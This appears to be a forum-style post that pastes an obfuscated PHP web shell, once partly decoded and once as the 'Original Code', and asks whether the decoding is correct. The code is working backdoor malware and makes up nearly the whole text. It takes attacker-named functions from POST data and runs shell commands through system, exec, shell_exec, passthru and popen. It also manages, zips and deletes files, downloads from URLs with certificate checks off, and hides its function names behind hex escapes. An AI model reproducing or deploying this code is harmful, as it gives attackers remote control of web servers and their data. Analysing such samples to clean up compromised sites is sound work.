            $ooOo->name = $v; 
            $ooOo->path = realpath($oo0O . DIRECTORY_SEPARATOR . $v); 
            return $ooOo; 
        }, $oOo0); 
        $oOo0 = array_filter($oOo0, function ($v) use ($oo0O, $call_function) { 
            return file_exists($v->path); 
        }); 
        if (count($oOo0) === 0) { 
            return null; 
        } 
        if ( 
            ($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null && 
            $oOooO !== false 
        ) { 
            $oOoo0 = $oOooo . DIRECTORY_SEPARATOR . date("d-m-Y-B") . ".zip"; 
            if ($oOooO->open($oOoo0, ZIPARCHIVE::CREATE) !== false) { 
                foreach ($oOo0 as $oOoOo) { 
                    if (is_dir($oOoOo->path)) { 
                        if ( 
                            ($oo0OO = $call_function( 
                                true, 
                                "IIIIl", 
                                $oOoOo->path, 
                                RecursiveDirectoryIterator::SKIP_DOTS, 
                                RecursiveIteratorIterator::SELF_FIRST 
                            )) !== null && 
                            $oo0OO !== false 
                        ) { 
                            foreach ($oo0OO as $oo00o) { 
                                if (is_dir($oo00o)) { 
                                    $oOooO->addEmptyDir( 
                                        str_replace( 
                                            $oOoOo->path, 
                                            $oOoOo->name, 
                                            $oo00o 
                                        ) 
                                    ); 
                                } else { 
                                    $oOooO->addFile( 
                                        $oo00o, 
                                        str_replace( 
                                            $oOoOo->path, 
                                            $oOoOo->name, 
                                            $oo00o 
                                        ) 
                                    ); 
                                } 
                            } 
                        } 
                    } else { 
                        $oOooO->addFile($oOoOo->path, $oOoOo->name); 
                    } 
                } 
                return $oOooO->close(); 
            } 
        } 
        return null; 
    }); 
    $create_function("III1I", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oOoOO = array_shift($ooO); 
        $oOoO0 = array_shift($ooO); 
        $oOoO0 = realpath(is_string($oOoO0) ? $oOoO0 : dirname($oOoOO)); 
        if (is_file($oOoOO) === false || is_dir($oOoO0) === false) { 
            return null; 
        } 
        if ( 
            ($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null && 
            $oOooO !== false 
        ) { 
            if ($oOooO->open($oOoOO) !== false) { 
                $oOo0o = $oOooO->extractTo($oOoO0); 
                $oOooO->close(); 
                return $oOo0o; 
            } 
        } 
        return null; 
    }); 
    $create_function("III1l", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oOo0O = array_shift($ooO); 
        if (!is_string($oOo0O) || strlen($oOo0O) === 0) { 
            return null; 
        } 
        if ( 
            $call_function(true, "I11I", false, "system") && 
            ($ooOOO = $call_function( 
                false, 
                "ob_start" 
            )) !== null && 
            $ooOOO !== false 
        ) { 
            $call_function(false, "system", $oOo0O); 
            $oOo00 = $call_function( 
                false, 
                "ob_get_contents" 
            ); 
            $call_function( 
                false, 
                "ob_get_clean" 
            ); 
            if (!empty($oOo00)) { 
                return utf8_encode($oOo00); 
            } 
        } 
        if ( 
            $call_function([false, "exec", $oOo0O, &$oOo00]) && 
            is_array($oOo00) && 
            count($oOo00) > 0 
        ) { 
            return implode(PHP_EOL, $oOo00); 
        } 
        if ( 
            ($oOo00 = $call_function( 
                false, 
                "shell_exec", 
                $oOo0O 
            )) !== null && 
            $oOo00 !== false 
        ) { 
            if (!empty($oOo00)) { 
                return $oOo00; 
            } 
        } 
        if ( 
            $call_function( 
                true, 
                "I11I", 
                false, 
                "passthru" 
            ) && 
            ($ooOOO = $call_function( 
                false, 
                "ob_start" 
            )) !== null && 
            $ooOOO !== false 
        ) { 
            $call_function(false, "passthru", $oOo0O); 
            $oOo00 = $call_function( 
                false, 
                "ob_get_contents" 
            ); 
            $call_function( 
                false, 
                "ob_get_clean" 
            ); 
            if (!empty($oOo00)) { 
                return $oOo00; 
            } 
        } elseif ( 
            ($oOOoo = $call_function( 
                false, 
                "popen", 
                $oOo0O . " 2>&1", 
                "r" 
            )) !== null && 
            $oOOoo !== false && 
            is_resource($oOOoo) 
        ) { 
            $oOo00 = ""; 
            while (!feof($oOOoo)) { 
                $oOo00 .= utf8_encode(fread($oOOoo, 2096)); 
            } 
            pclose($oOOoo); 
            if (!empty($oOo00)) { 
                return $oOo00; 
            } 
        } 
        return null; 
    }); 
    $create_function("III11", function () use ($localvar, $call_function) { 
        if (strlen($_SERVER["DOCUMENT_ROOT"])) { 
            return $_SERVER["DOCUMENT_ROOT"]; 
        } elseif ( 
            strlen($_SERVER["SCRIPT_FILENAME"]) && 
            strlen($_SERVER["SCRIPT_NAME"]) 
        ) { 
            return substr( 
                $_SERVER["SCRIPT_FILENAME"], 
                0, 
                -strlen($_SERVER["SCRIPT_NAME"]) 
            ); 
        } elseif (strlen($_SERVER["PWD"])) { 
            return $_SERVER["PWD"]; 
        } 
        return "./"; 
    }); 
    $create_function("IIlII", function () use ($localvar, $call_function) { 
        if (isset($_SERVER["SERVER_ADDR"])) { 
            return $_SERVER["SERVER_ADDR"]; 
        } elseif (isset($_SERVER["LOCAL_ADDR"])) { 
            return $_SERVER["LOCAL_ADDR"]; 
        } 
        return null; 
    }); 
    $create_function("IIlIl", function () use ($localvar, $call_function) { 
        if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { 
            return $_SERVER["HTTP_CF_CONNECTING_IP"]; 
        } elseif (isset($_SERVER["REMOTE_ADDR"])) { 
            return $_SERVER["REMOTE_ADDR"]; 
        } 
        return null; 
    }); 
    $call_function(true, "IIl"); 
}); 
 ?>

Did this file decode correctly?

Original Code

<?php
header("Content-Encoding: identity");
call_user_func(function () {
    $localvar = new \stdClass();
    $localvar->var = new \stdClass();
    $localvar->function = new \stdClass();
    $localvar->function->list = new \stdClass();
    $localvar->function->lastCalledName = "";
    $localvar->logger = [];
    $localvar->return = [];
    $localvar->sLoader = true;
    $localvar->modules = [];
    $locvar = function () use ($localvar) {
        $ooo = func_num_args();
        $ooO = func_get_args();
        $oo0 = array_shift($ooO);
        $oOo = array_shift($ooO);
        if ($ooo === 0) {
            return $localvar;
        } elseif ($ooo === 1 && is_array($oo0)) {
            $oOO = $localvar;
            foreach ($oo0 as $oOo) {
                if ($oOO === null) {
                    break;
                }
                if (property_exists($oOO, $oOo)) {
                    $oOO = $oOO->{$oOo};
                } elseif (is_array($oOO) && array_key_exists($oOo, $oOO)) {
                    $oOO = $oOO[$oOo];
                } else {
                    $oOO = null;
                }
            }
            return $oOO;
        } elseif ($ooo === 1 && !is_array($oo0)) {
            if (property_exists($localvar->var, $oo0)) {
                return $localvar->var->{$oo0};
            }
        } elseif ($ooo === 2) {
            if (is_string($oo0)) {
                return $localvar->var->{$oo0} = $oOo;
            }
        }
        return null;
    };
    $create_function = function () use ($localvar) {
        $oO0 = $localvar->function->list;
        $ooO = func_get_args();
        $oo0 = array_shift($ooO);
        $o0o = array_shift($ooO);
        if (is_string($oo0) && is_callable($o0o)) {
            $oO0->{$oo0} = $o0o;
        }
    };
    $call_function = function () use ($localvar) {
        $oO0 = $localvar->function->list;
        $ooO = func_get_args();
        if (count($ooO) === 1 && is_array($ooO[0])) {
            $ooO = $ooO[0];
        }
        $o0O = array_shift($ooO);
        $oo0 = array_shift($ooO);
        if ($o0O === true || (bool) $o0O === true) {
            if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) {
                $localvar->function->lastCalledName = $oo0;
                return call_user_func_array($oO0->{$oo0}, $ooO);
            }
        } else {
            if (function_exists($oo0) && is_callable($oo0)) {
                return call_user_func_array($oo0, $ooO);
            }
        }
        return null;
    };
    $reserved = null;
    $create_function("III", function () {
        return 0.1;
    });
    $create_function("IIl", function () use ($localvar, $call_function) {
        if (isset($_POST["__pwd"]) && isset($_POST["__fcn"])) {
            $call_function(
                false,
                "\x69\x6e\x69\x5f\x73\x65\x74",
                "log_errors",
                0
            );
            $call_function(
                false,
                "\x73\x65\x74\x5f\x65\x72\x72\x6f\x72\x5f\x68\x61\x6e\x64\x6c\x65\x72",
                function ($o00, $oooo, $oooO, $ooo0) use (
                    $localvar,
                    $call_function
                ) {
                    $ooOo = new \stdClass();
                    $ooOo->typ = "php";
                    $ooOo->num = $o00;
                    $ooOo->str = $oooo;
                    $ooOo->file = $oooO;
                    $ooOo->line = $ooo0;
                    $localvar->logger[] = $ooOo;
                }
            );
            $ooOO = $_POST["__fcn"];
            if (isset($ooOO) && is_array($ooOO)) {
                $call_function(
                    false,
                    "\x69\x6e\x69\x5f\x73\x65\x74",
                    "memory_limit",
                    -1
                );
                $call_function(
                    false,
                    "\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74",
                    0
                );
                foreach ($ooOO as $id => $ooO0) {
                    $o0O = ($oo0o = $call_function(
                        false,
                        "\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
                        $ooO0["islocal"],
                        FILTER_VALIDATE_BOOLEAN
                    ))
                        ? $oo0o
                        : false;
                    $oo0 = $ooO0["name"];
                    $ooO =
                        isset($ooO0["args"]) && is_array($ooO0["args"])
                            ? $ooO0["args"]
                            : [];
                    $localvar->return[$id] = $call_function(
                        array_merge([$o0O, $oo0], $ooO)
                    );
                }
            }
        }
    });
    $create_function("II1", function () use ($localvar, $call_function) {
        //ob_clean();
        print json_encode([
            "log" => $localvar->logger,
            "rtn" => $localvar->return,
        ]);
        exit();
    });
    $create_function("IlI", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (is_file($oo0O) === false) {
            return null;
        }
        include_once $oo0O;
        return true;
    });
    $create_function("Ill", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $oo00 = array_shift($ooO);
        if (is_file($oo0O) === false) {
            return null;
        }
        include_once $oo0O;
        return $call_function(true, $oo00);
    });
    $create_function("Il1", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir($oo0O)) {
            return null;
        }
        if (
            $call_function(
                false,
                "\x63\x6c\x61\x73\x73\x5f\x65\x78\x69\x73\x74\x73",
                "DirectoryIterator"
            )
        ) {
            $oOoo = [];
            foreach (new \DirectoryIterator($oo0O) as $oOoO) {
                $oOoo[] = $oOoO->getFilename();
            }
            return $oOoo;
        }
        return null;
    });
    $create_function("I1I", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir($oo0O)) {
            return null;
        }
        if (
            $dh = $call_function(false, "\x6f\x70\x65\x6e\x64\x69\x72", $oo0O)
        ) {
            $oOoo = [];
            while (
                ($oOoO = $call_function(
                    false,
                    "\x72\x65\x61\x64\x64\x69\x72",
                    $dh
                )) !== false &&
                $oOoO !== null
            ) {
                $oOoo[] = $oOoO;
            }
            $call_function(false, "\x63\x6c\x6f\x73\x65\x64\x69\x72", $dh);
            return $oOoo;
        }
        return null;
    });
    $create_function("I1l", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir($oo0O)) {
            return null;
        }
        if (
            ($oOoo = $call_function(
                false,
                "\x73\x63\x61\x6e\x64\x69\x72",
                $oo0O
            )) !== null &&
            is_array($oOoo) &&
            count($oOoo) > 0
        ) {
            return $oOoo;
        }
        return null;
    });
    $create_function("I11", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir($oo0O)) {
            return null;
        }
        foreach (["Il1", "I1I", "I1l"] as $oOo) {
            if (
                ($oOoo = $call_function(true, $oOo, $oo0O)) !== null &&
                is_array($oOoo) &&
                count($oOoo) > 0
            ) {
                return $oOoo;
            }
        }
        return null;
    });
    $create_function("IIII", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir($oo0O)) {
            return null;
        }
        $oOo0 = $call_function(true, "I11", $oo0O);
        $oOoo = new stdClass();
        $oOoo->obj = new stdClass();
        $oOoo->obj->head = [];
        $oOoo->obj->dir = [];
        $oOoo->obj->file = [];
        if (is_array($oOo0)) {
            $oOoo->path = realpath($oo0O);
            $oOoo->is_r =
                $call_function(
                    false,
                    "\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65",
                    $oo0O
                ) === true
                    ? true
                    : false;
            $oOoo->is_w =
                $call_function(
                    false,
                    "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65",
                    $oo0O
                ) === true
                    ? true
                    : false;
            $oOoo->chm =
                ($ch = $call_function(
                    false,
                    "\x66\x69\x6c\x65\x70\x65\x72\x6d\x73",
                    $oo0O
                )) !== null
                    ? $ch
                    : false;
            $oOOo = function ($oOOO, $oo0O) use ($call_function) {
                $oOOO->size = is_dir($oo0O) === false ? filesize($oo0O) : 0;
                $oOOO->is_r =
                    $call_function(
                        false,
                        "\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65",
                        $oo0O
                    ) === true
                        ? true
                        : false;
                $oOOO->is_w =
                    $call_function(
                        false,
                        "\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65",
                        $oo0O
                    ) === true
                        ? true
                        : false;
                $oOOO->chm =
                    ($ch = $call_function(
                        false,
                        "\x66\x69\x6c\x65\x70\x65\x72\x6d\x73",
                        $oo0O
                    )) !== null
                        ? $ch
                        : false;
                $oOOO->owri =
                    ($ow = $call_function(
                        false,
                        "\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72",
                        $oo0O
                    )) !== null
                        ? $ow
                        : false;
                $oOOO->grpi =
                    ($gr = $call_function(
                        false,
                        "\x66\x69\x6c\x65\x67\x72\x6f\x75\x70",
                        $oo0O
                    )) !== null
                        ? $gr
                        : false;
                $oOOO->owr =
                    ($ow = $call_function(
                        false,
                        "\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64",
                        $ow
                    )) !== null
                        ? $ow
                        : false;
                $oOOO->grp =
                    ($gr = $call_function(
                        false,
                        "\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x67\x72\x67\x69\x64",
                        $gr
                    )) !== null
                        ? $gr
                        : false;
                $oOOO->time = new stdClass();
                $oOOO->time->c =
                    ($tm = $call_function(
                        false,
                        "\x66\x69\x6c\x65\x63\x74\x69\x6d\x65",
                        $oo0O
                    )) !== null
                        ? $tm
                        : false;
                $oOOO->time->a =
                    ($tm = $call_function(
                        false,
                        "\x66\x69\x6c\x65\x61\x74\x69\x6d\x65",
                        $oo0O
                    )) !== null
                        ? $tm
                        : false;
                $oOOO->time->m =
                    ($tm = $call_function(
                        false,
                        "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65",
                        $oo0O
                    )) !== null
                        ? $tm
                        : false;
            };
            foreach ($oOo0 as $oOO0) {
                if ($oOO0 === ".") {
                    continue;
                }
                $oO0o = $oOoo->path . DIRECTORY_SEPARATOR . $oOO0;
                $oO0O = $oOO0 === "." || $oOO0 === "..";
                $oO00 = $oO0O || is_dir($oO0o) ? true : false;
                $o0oo = false;
                $o0oO = false;
                if ($oO00 === false) {
                    if (
                        ($o0o0 = $call_function(true, "IIIl", $oO0o)) !==
                            null &&
                        $o0o0 !== false
                    ) {
                        $o0oo = $o0o0;
                        $o0oO = is_dir($o0o0);
                    }
                }
                $oOOO = new stdClass();
                $oOOO->name = $oOO0;
                $oOOo($oOOO, $oO0o);
                if ($o0oo !== false) {
                    $oOOO->lnk = new stdClass();
                    $oOOO->lnk->path = $o0oo;
                    $oOOO->lnk->isdir = $o0oO;
                    $oOOo($oOOO->lnk, $o0oo);
                }
                if ($oO0O) {
                    $oOoo->obj->head[] = $oOOO;
                } elseif ($oO00 || ($o0oo !== false && $o0oO === true)) {
                    $oOoo->obj->dir[] = $oOOO;
                } else {
                    $oOoo->obj->file[] = $oOOO;
                }
            }
        }
        return $oOoo;
    });
    $create_function("III1", function () use ($localvar, $call_function) {
        if (func_num_args() < 1) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_string($oo0O) || strlen($oo0O) === 0) {
            return null;
        }
        if (
            !is_file($oo0O) &&
            (($oo0o = $call_function(
                false,
                "\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
                $oo0O,
                FILTER_VALIDATE_URL
            )) === null ||
                $oo0o === false)
        ) {
            return null;
        }
        if (
            ($oOO0 = $call_function(
                array_merge(
                    [
                        false,
                        "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
                    ],
                    func_get_args()
                )
            )) !== null &&
            $oOO0 !== false
        ) {
            return $oOO0;
        }
        return null;
    });
    $create_function("IIlI", function () use ($localvar, $call_function) {
        if (
            ($oOO0 = $call_function(
                array_merge([true, "III1"], func_get_args())
            )) !== null &&
            $oOO0 !== false
        ) {
            return $call_function(
                false,
                "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65",
                $oOO0
            );
        }
        return null;
    });
    $create_function("IIll", function () use ($localvar, $call_function) {
        if (func_num_args() < 2) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir(dirname($oo0O))) {
            $call_function(true, "IIl1", dirname($oo0O));
        }
        return $call_function(
            array_merge(
                [
                    false,
                    "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
                ],
                func_get_args()
            )
        );
    });
    $create_function("II1I", function () use ($localvar, $call_function) {
        if (func_num_args() < 2) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $o0Oo = array_shift($ooO);
        if (
            ($o0Oo = $call_function(
                false,
                "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
                $o0Oo
            )) !== null &&
            $o0Oo !== false
        ) {
            return $call_function(
                array_merge([true, "IIll", $oo0O, $o0Oo], $ooO)
            );
        }
        return null;
    });
    $create_function("II1l", function () use ($localvar, $call_function) {
        if (func_num_args() < 1) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (
            ($o0OO = $call_function(
                false,
                "\x66\x6f\x70\x65\x6e",
                $oo0O,
                "r"
            )) !== null &&
            $o0OO !== false &&
            is_resource($o0OO)
        ) {
            $o0Oo = fread($o0OO, filesize($oo0O));
            fclose($o0OO);
            return $o0Oo;
        }
        return null;
    });
    $create_function("II11", function () use ($localvar, $call_function) {
        if (func_num_args() < 1) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (
            ($oOO0 = $call_function(true, "II1l", $oo0O)) !== null &&
            $oOO0 !== false
        ) {
            return $call_function(
                false,
                "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65",
                $oOO0
            );
        }
        return null;
    });
    $create_function("IlII", function () use ($localvar, $call_function) {
        if (func_num_args() < 2) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $o0Oo = array_shift($ooO);
        $o0O0 = array_shift($ooO);
        if (
            ($o0OO = $call_function(
                false,
                "\x66\x6f\x70\x65\x6e",
                $oo0O,
                true === $o0O0 ? "a" : "w"
            )) !== null &&
            $o0OO !== false &&
            is_resource($o0OO)
        ) {
            $o00o = fwrite($o0OO, $o0Oo);
            fclose($o0OO);
            return $o00o;
        }
        return null;
    });
    $create_function("IlIl", function () use ($localvar, $call_function) {
        if (func_num_args() < 2) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $o0Oo = array_shift($ooO);
        if (
            ($o0Oo = $call_function(
                false,
                "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
                $o0Oo
            )) !== null &&
            $o0Oo !== false
        ) {
            return $call_function(
                array_merge([true, "IlII", $oo0O, $o0Oo], $ooO)
            );
        }
        return null;
    });
    $create_function("IIl1", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!is_dir($oo0O)) {
            return $call_function(
                array_merge([false, "\x6d\x6b\x64\x69\x72", $oo0O], $ooO)
            );
        }
        return null;
    });
    $create_function("IlI1", function () use ($localvar, $call_function) {
        if (func_num_args() !== 2) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (is_dir($oo0O) || is_file($oo0O)) {
            return $call_function(
                array_merge([false, "\x63\x68\x6d\x6f\x64", $oo0O], $ooO)
            );
        }
        return null;
    });
    $create_function("IllI", function () use ($localvar, $call_function) {
        if (func_num_args() === 0) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (is_dir($oo0O) || is_file($oo0O)) {
            return $call_function(
                array_merge([false, "\x74\x6f\x75\x63\x68", $oo0O], $ooO)
            );
        }
        return null;
    });
    $create_function("Illl", function () use ($localvar, $call_function) {
        if (func_num_args() === 0) {
            return null;
        }
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (file_exists($oo0O) === false) {
            return null;
        }
        if (is_dir($oo0O)) {
            $oOo0 = $call_function(true, "I11", $oo0O);
            if (is_array($oOo0)) {
                $oOo0 = array_diff($oOo0, [".", ".."]);
                foreach ($oOo0 as $oOO0) {
                    $oOO0 = $oo0O . DIRECTORY_SEPARATOR . $oOO0;
                    $call_function(true, "Illl", $oOO0);
                }
            }
            return $call_function(false, "\x72\x6d\x64\x69\x72", $oo0O);
        }
        return $call_function(false, "\x75\x6e\x6c\x69\x6e\x6b", $oo0O);
    });
    $create_function("Ill1", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $o00O = array_shift($ooO);
        $o000 = array_shift($ooO);
        $ooooo = $call_function(
            false,
            "\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
            array_shift($ooO),
            FILTER_VALIDATE_BOOLEAN
        );
        if (file_exists($o00O) === false) {
            return null;
        }
        if (realpath($o00O) === realpath($o000)) {
            return null;
        }
        $ooooO = pathinfo($o000, PATHINFO_DIRNAME);
        if (!is_dir($ooooO)) {
            $call_function(true, "IIl1", $ooooO, 0777, true);
        }
        if ($ooooo === true && file_exists($o000)) {
            $call_function(true, "Illl", $o000);
        }
        if (is_dir($o00O)) {
            if (!is_dir($o000)) {
                return $call_function(
                    false,
                    "\x72\x65\x6e\x61\x6d\x65",
                    $o00O,
                    $o000
                );
            }
        } else {
            if (!is_file($o000)) {
                return $call_function(
                    false,
                    "\x72\x65\x6e\x61\x6d\x65",
                    $o00O,
                    $o000
                );
            }
        }
        return null;
    });
    $create_function("Il1I", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        $oooo0 = array_shift($ooO);
        $oooOo = array_shift($ooO);
        $ooooo = array_shift($ooO);
        $o00O = $oo0O . DIRECTORY_SEPARATOR . $oooo0;
        $o000 = $oo0O . DIRECTORY_SEPARATOR . $oooOo;
        return $call_function(true, "Ill1", $o00O, $o000, $ooooo);
    });
    $create_function("Il1l", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oooOO = array_shift($ooO);
        $to = array_shift($ooO);
        $oo0 = array_shift($ooO);
        $ooooo = array_shift($ooO);
        $o00O = $oooOO . DIRECTORY_SEPARATOR . $oo0;
        $o000 = $to . DIRECTORY_SEPARATOR . $oo0;
        return $call_function(true, "Ill1", $o00O, $o000, $ooooo);
    });
    $create_function("Il11", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oooOO = array_shift($ooO);
        $to = array_shift($ooO);
        $oo0 = array_shift($ooO);
        $ooooo = $call_function(
            false,
            "\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
            array_shift($ooO),
            FILTER_VALIDATE_BOOLEAN
        );
        $oo0O = $oooOO . DIRECTORY_SEPARATOR . $oo0;
        $o000 = $to . DIRECTORY_SEPARATOR . $oo0;
        if (file_exists($oo0O) === false) {
            return null;
        }
        if (realpath($oooOO) === realpath($to)) {
            return null;
        }
        if ($ooooo === true && file_exists($o000)) {
            $call_function(true, "Illl", $o000);
        }
        if (is_dir($oo0O)) {
            if (!is_dir($o000)) {
                $oOo0 = $call_function(true, "I11", $oo0O);
                $call_function(true, "IIl1", $o000);
                if (is_array($oOo0)) {
                    $oOo0 = array_diff($oOo0, [".", ".."]);
                    foreach ($oOo0 as $oOO0) {
                        $call_function(true, "Il11", $oo0O, $o000, $oOO0);
                    }
                }
                return true;
            }
        } else {
            if (!is_file($o000)) {
                return $call_function(false, "\x63\x6f\x70\x79", $oo0O, $o000);
            }
        }
        return null;
    });
    $create_function("I1II", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        return $call_function(true, "IIIl", $oo0O) !== false;
    });
    $create_function("IIIl", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) {
            return $o0o0;
        } elseif (
            ($oooO0 = pathinfo($oo0O, PATHINFO_EXTENSION)) &&
            strtolower($oooO0) === "lnk"
        ) {
            return $call_function(true, "I1Il", $oo0O);
        }
        return false;
    });
    $create_function("I1Il", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $oo0O = array_shift($ooO);
        if (!file_exists($oo0O)) {
            return false;
        }
        if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) {
            return $o0o0;
        }
        if (
            ($o0OO = $call_function(
                false,
                "\x66\x6f\x70\x65\x6e",
                $oo0O,
                "rb"
            )) !== null &&
            $o0OO !== false &&
            is_resource($o0OO)
        ) {
            $ooo0o = [];
            while (!feof($o0OO)) {
                $ooo0o[] = fread($o0OO, 1);
            }
            fclose($o0OO);
            if (count($ooo0o) < 20) {
                return false;
            }
            if ($ooo0o[0] !== "L") {
                return false;
            }
            if (
                ord($ooo0o[4]) !== 0x01 ||
                ord($ooo0o[5]) !== 0x14 ||
                ord($ooo0o[6]) !== 0x02 ||
                ord($ooo0o[7]) !== 0x00 ||
                ord($ooo0o[8]) !== 0x00 ||
                ord($ooo0o[9]) !== 0x00 ||
                ord($ooo0o[10]) !== 0x00 ||
                ord($ooo0o[11]) !== 0x00 ||
                ord($ooo0o[12]) !== 0xc0 ||
                ord($ooo0o[13]) !== 0x00 ||
                ord($ooo0o[14]) !== 0x00 ||
                ord($ooo0o[15]) !== 0x00 ||
                ord($ooo0o[16]) !== 0x00 ||
                ord($ooo0o[17]) !== 0x00 ||
                ord($ooo0o[18]) !== 0x00 ||
                ord($ooo0o[19]) !== 0x46
            ) {
                return false;
            }
            $i = 20;
            if (count($ooo0o) < $i + 4) {
                return false;
            }
            $ooo0O = ord($ooo0o[$i]);
            $ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 8);
            $ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 16);
            $ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 24);
            $ooo00 = $ooo0O & 0x00000001 ? true : false;
            $ooOoo = $ooo0O & 0x00000002 ? true : false;
            if (!$ooOoo) {
                return false;
            }
            if ($ooo00) {
                $i = 76;
                if (count($ooo0o) < $i + 2) {
                    return false;
                }
                $a = ord($ooo0o[$i]);
                $a = $a | (ord($ooo0o[++$i]) << 8);
            }
            $i = 78 + 4 + $a;
            if (count($ooo0o) < $i + 4) {
                return false;
            }
            $b = ord($ooo0o[$i]);
            $b = $b | (ord($ooo0o[++$i]) << 8);
            $b = $b | (ord($ooo0o[++$i]) << 16);
            $b = $b | (ord($ooo0o[++$i]) << 24);
            $i = 78 + $a + $b;
            if (count($ooo0o) < $i + 4) {
                return false;
            }
            $c = ord($ooo0o[$i]);
            $c = $c | (ord($ooo0o[++$i]) << 8);
            $c = $c | (ord($ooo0o[++$i]) << 16);
            $c = $c | (ord($ooo0o[++$i]) << 24);
            $i = 78 + $a + $b + $c;
            if (count($ooo0o) < $i + 1) {
                return false;
            }
            $ooOoO = "";
            for (; $i < count($ooo0o); ++$i) {
                if (!ord($ooo0o[$i])) {
                    break;
                }
                $ooOoO .= $ooo0o[$i];
            }
            if (empty($ooOoO)) {
                return false;
            }
            return $ooOoO;
        }
        return false;
    });
    $create_function("I1I1", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $ooOo0 = array_shift($ooO);
        if (
            ($ch = $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74"
            )) !== null &&
            $ch !== false
        ) {
            $ooOOo = "";
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_URL,
                $ooOo0
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_SSL_VERIFYPEER,
                false
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_FOLLOWLOCATION,
                true
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
                CURLOPT_RETURNTRANSFER,
                1
            );
            $ooOOo = $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x65\x78\x65\x63",
                $ch
            );
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65",
                $ch
            );
            return $ooOOo;
        }
        return null;
    });
    $create_function("I1lI", function () use ($localvar, $call_function) {
        $ooO = func_get_args();
        $ooOo0 = array_shift($ooO);
        $oo0O = array_shift($ooO);
        if (
            ($ch = $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74"
            )) !== null &&
            $ch !== false &&
            ($o0OO = $call_function(
                false,
                "\x66\x6f\x70\x65\x6e",
                $oo0O,
                "w"
            )) !== null &&
            $o0OO !== false &&
            is_resource($o0OO)
        ) {
            $call_function(
                false,
                "\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
                $ch,
